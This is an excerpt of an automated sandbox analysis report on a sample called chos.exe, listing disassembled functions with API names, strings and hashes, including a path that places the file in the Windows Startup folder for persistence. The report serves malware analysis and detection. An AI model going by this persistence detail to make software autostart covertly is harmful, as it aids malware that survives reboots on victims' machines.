                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CallEncodePointerTranslator
                                                                                                                                                                                                                                              • String ID: MOC$RCC
                                                                                                                                                                                                                                              • API String ID: 3544855599-2084237596
                                                                                                                                                                                                                                              • Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
                                                                                                                                                                                                                                              • Instruction ID: d8735e3c51dd2a967c22246ce6b2a907e7652eb8aa1ac63ba6bfce94207f9d4e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 0D61723290CBC581D7609B15E4407AAF7A0FB897D4F444225EBAC0BB95EFBCD194CBA0
                                                                                                                                                                                                                                              Function 00007FF7FD73F2F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                                                                                                                                                                                                              • String ID: csm$csm
                                                                                                                                                                                                                                              • API String ID: 3896166516-3733052814
                                                                                                                                                                                                                                              • Opcode ID: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
                                                                                                                                                                                                                                              • Instruction ID: 26c8bff033bd24f74fe6d97d9e4a3a5d657246d0321fd5eaaedfd749c038d9db
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9851A03290C38286EB64AE219044368F690EB59BD4F944336EA6C4B7D5EFBCE450D7E1
                                                                                                                                                                                                                                              Function 00007FF7FD732810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Message
                                                                                                                                                                                                                                              • String ID: ERROR$Error$[PYI-%d:%ls]
                                                                                                                                                                                                                                              • API String ID: 2030045667-255084403
                                                                                                                                                                                                                                              • Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
                                                                                                                                                                                                                                              • Instruction ID: 850d463ccaac8689ed37ece20fcc279f51355794b21985b0c37eda0a60bf9b13
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2C21A362B0CB4182E711AB55F4447EAA364EB8C784F804136EE9D5B695EE3CD245C7E0
                                                                                                                                                                                                                                              Function 00007FF7FD74C610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: FileWrite$ConsoleErrorLastOutput
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2718003287-0
                                                                                                                                                                                                                                              • Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
                                                                                                                                                                                                                                              • Instruction ID: cfec26cccbea60cde3a930a9adb43e21dc34df75a900275ac8b521717b350a4b
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 30D1F372B1DA40CAE712DF65D4442AC7761FB49798B848236DE6D5BBC9EE38D006C3E0
                                                                                                                                                                                                                                              Function 00007FF7FD7320C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: LongWindow$DialogInvalidateRect
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1956198572-0
                                                                                                                                                                                                                                              • Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
                                                                                                                                                                                                                                              • Instruction ID: 4f55e8ec57861c8dfddc5a351062ba08140092fecbd1feee6d99d581611d7dd1
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8A11E921E1C14242F754A769E6443799251EB8C780FC48030DF690BBC9ED6DD4C592F1
                                                                                                                                                                                                                                              Function 00007FF7FD73D080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2933794660-0
                                                                                                                                                                                                                                              • Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
                                                                                                                                                                                                                                              • Instruction ID: dda6911dd9d3635c892a77aaea4f5d2220e66498a4db16aa2b6ff2450ddced37
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 26111F26B18B05CAEB00DF60E8553B973A4F71D758F840E31DA6D4A7A4EF78D15483E1
                                                                                                                                                                                                                                              Function 00007FF7FD755B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _get_daylight$_invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: ?
                                                                                                                                                                                                                                              • API String ID: 1286766494-1684325040
                                                                                                                                                                                                                                              • Opcode ID: 8108d8be77440c3e9c62f2a415d3a3f63afd5a4d850aaf976d1496cecaf540be
                                                                                                                                                                                                                                              • Instruction ID: 630c935e58a59b131f58f6e9a4e1fb0c4ae88769f06ee03e24de918f89f23cba
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8108d8be77440c3e9c62f2a415d3a3f63afd5a4d850aaf976d1496cecaf540be
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AB412916A0C38241FB62AF259445379D660EF89BA4F944236EE7C0EAD5FE3CD441C7E1
                                                                                                                                                                                                                                              Function 00007FF7FD749084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FD7490B6
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD74A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF7FD752D92,?,?,?,00007FF7FD752DCF,?,?,00000000,00007FF7FD753295,?,?,?,00007FF7FD7531C7), ref: 00007FF7FD74A9CE
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD74A9B8: GetLastError.KERNEL32(?,?,?,00007FF7FD752D92,?,?,?,00007FF7FD752DCF,?,?,00000000,00007FF7FD753295,?,?,?,00007FF7FD7531C7), ref: 00007FF7FD74A9D8
                                                                                                                                                                                                                                              • GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7FD73CC15), ref: 00007FF7FD7490D4
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              • C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe, xrefs: 00007FF7FD7490C2
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                              • API String ID: 3580290477-891251809
                                                                                                                                                                                                                                              • Opcode ID: 2cf9991d5cc0f55d4af5251d222b056ff2fa25707e1fd1ed9fb4097698885552
                                                                                                                                                                                                                                              • Instruction ID: 600db65297ff7a014d001ffa0daa371958d3a035ec6b8a7b7eb952a43e152ab3
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2cf9991d5cc0f55d4af5251d222b056ff2fa25707e1fd1ed9fb4097698885552
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8E418F36A0CB12C5E716BF2594440B8A394EB4E784BD54039EA6D4BBC5EF3CD48183F0
                                                                                                                                                                                                                                              Function 00007FF7FD74CCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ErrorFileLastWrite
                                                                                                                                                                                                                                              • String ID: U
                                                                                                                                                                                                                                              • API String ID: 442123175-4171548499
                                                                                                                                                                                                                                              • Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
                                                                                                                                                                                                                                              • Instruction ID: 66bed569caec2af18f4113d5670074a3731b04418d9be5064e3e746642fd612d
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 27418222B1CA4585DB619F25E4443AAA760FB99794F944032EE5D8B798EF3CD401CBA0
                                                                                                                                                                                                                                              Function 00007FF7FD74F628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentDirectory
                                                                                                                                                                                                                                              • String ID: :
                                                                                                                                                                                                                                              • API String ID: 1611563598-336475711
                                                                                                                                                                                                                                              • Opcode ID: 779a21297323b81187f7e0c7d27b40be9ec8fbab2d126766b2de98969da868de
                                                                                                                                                                                                                                              • Instruction ID: f80ca4dd5518befdfc9d7d55ab5f1e2a44772cca69d68f1ef25b95e7891d838f
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 779a21297323b81187f7e0c7d27b40be9ec8fbab2d126766b2de98969da868de
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: DB21D422A0C281C1EB21AB11D04827DE3A1FB8DB44FD54135D6AC4B6D4EF7CD54487F2
                                                                                                                                                                                                                                              Function 00007FF7FD73FDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ExceptionFileHeaderRaise
                                                                                                                                                                                                                                              • String ID: csm
                                                                                                                                                                                                                                              • API String ID: 2573137834-1018135373
                                                                                                                                                                                                                                              • Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
                                                                                                                                                                                                                                              • Instruction ID: 6ded1ee3e8200f71042eed4f75c31c53f8ff20eb32ca0daa9659fee0b94fda20
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: DA115E3261CB8582EB209F15F400269F7E0FB8CB84F984234DA9D0B799EF7CD5518B90
                                                                                                                                                                                                                                              Function 00007FF7FD7507AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: DriveType_invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: :
                                                                                                                                                                                                                                              • API String ID: 2595371189-336475711
                                                                                                                                                                                                                                              • Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
                                                                                                                                                                                                                                              • Instruction ID: 6bbc86b4870a7bd74aeb48245c2baf5be66cb54b5d1f1fe28599e91b5c6d77c3
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: BB01B12290C20385FB20BF60942637EA2A0EF4C308FC40435D56C4A6C1FE3CE5049AF5